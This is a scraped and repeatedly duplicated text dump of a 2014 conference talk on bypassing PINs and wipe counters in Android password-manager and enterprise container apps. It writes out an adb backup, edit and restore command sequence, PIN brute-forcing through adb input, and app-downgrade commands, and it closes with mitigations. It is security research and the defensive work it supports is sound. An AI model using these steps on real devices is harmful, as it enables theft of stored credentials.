Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 11: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 21

worse still

Chris John Riley | 22102014 | 22

BYOD

Bring Your Own Disease

Chris John Riley | 22102014 | 24

Solution

Chris John Riley | 22102014 | 25

Move the security closer

to the data

Chris John Riley | 22102014 | 26

Chris John Riley | 22102014 | 27

buthellip

Chris John Riley | 22102014 | 28

hellip I lost my phone

Chris John Riley | 22102014 | 29

314 mobile phones stolen in London every day

offenders traced three or four times out of 10

Source UK Metropolitan Police 012013

Chris John Riley | 22102014 | 30

state of

securityDevice

Source threatpost

Chris John Riley | 22102014 | 32

Chris John Riley | 22102014 | 33

Android PIN Brute-Force

bull Teensy devicebull Programmable USB HIDbull ~166 hours (4 digit PIN)

httpsforumshak5orgindexphptopic28165-payload-android-brute-force-4-digit-pin

KEEPCALM

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 12: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 22

BYOD

Bring Your Own Disease

Chris John Riley | 22102014 | 24

Solution

Chris John Riley | 22102014 | 25

Move the security closer

to the data

Chris John Riley | 22102014 | 26

Chris John Riley | 22102014 | 27

buthellip

Chris John Riley | 22102014 | 28

hellip I lost my phone

Chris John Riley | 22102014 | 29

314 mobile phones stolen in London every day

offenders traced three or four times out of 10

Source UK Metropolitan Police 012013

Chris John Riley | 22102014 | 30

state of

securityDevice

Source threatpost

Chris John Riley | 22102014 | 32

Chris John Riley | 22102014 | 33

Android PIN Brute-Force

bull Teensy devicebull Programmable USB HIDbull ~166 hours (4 digit PIN)

httpsforumshak5orgindexphptopic28165-payload-android-brute-force-4-digit-pin

KEEPCALM

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

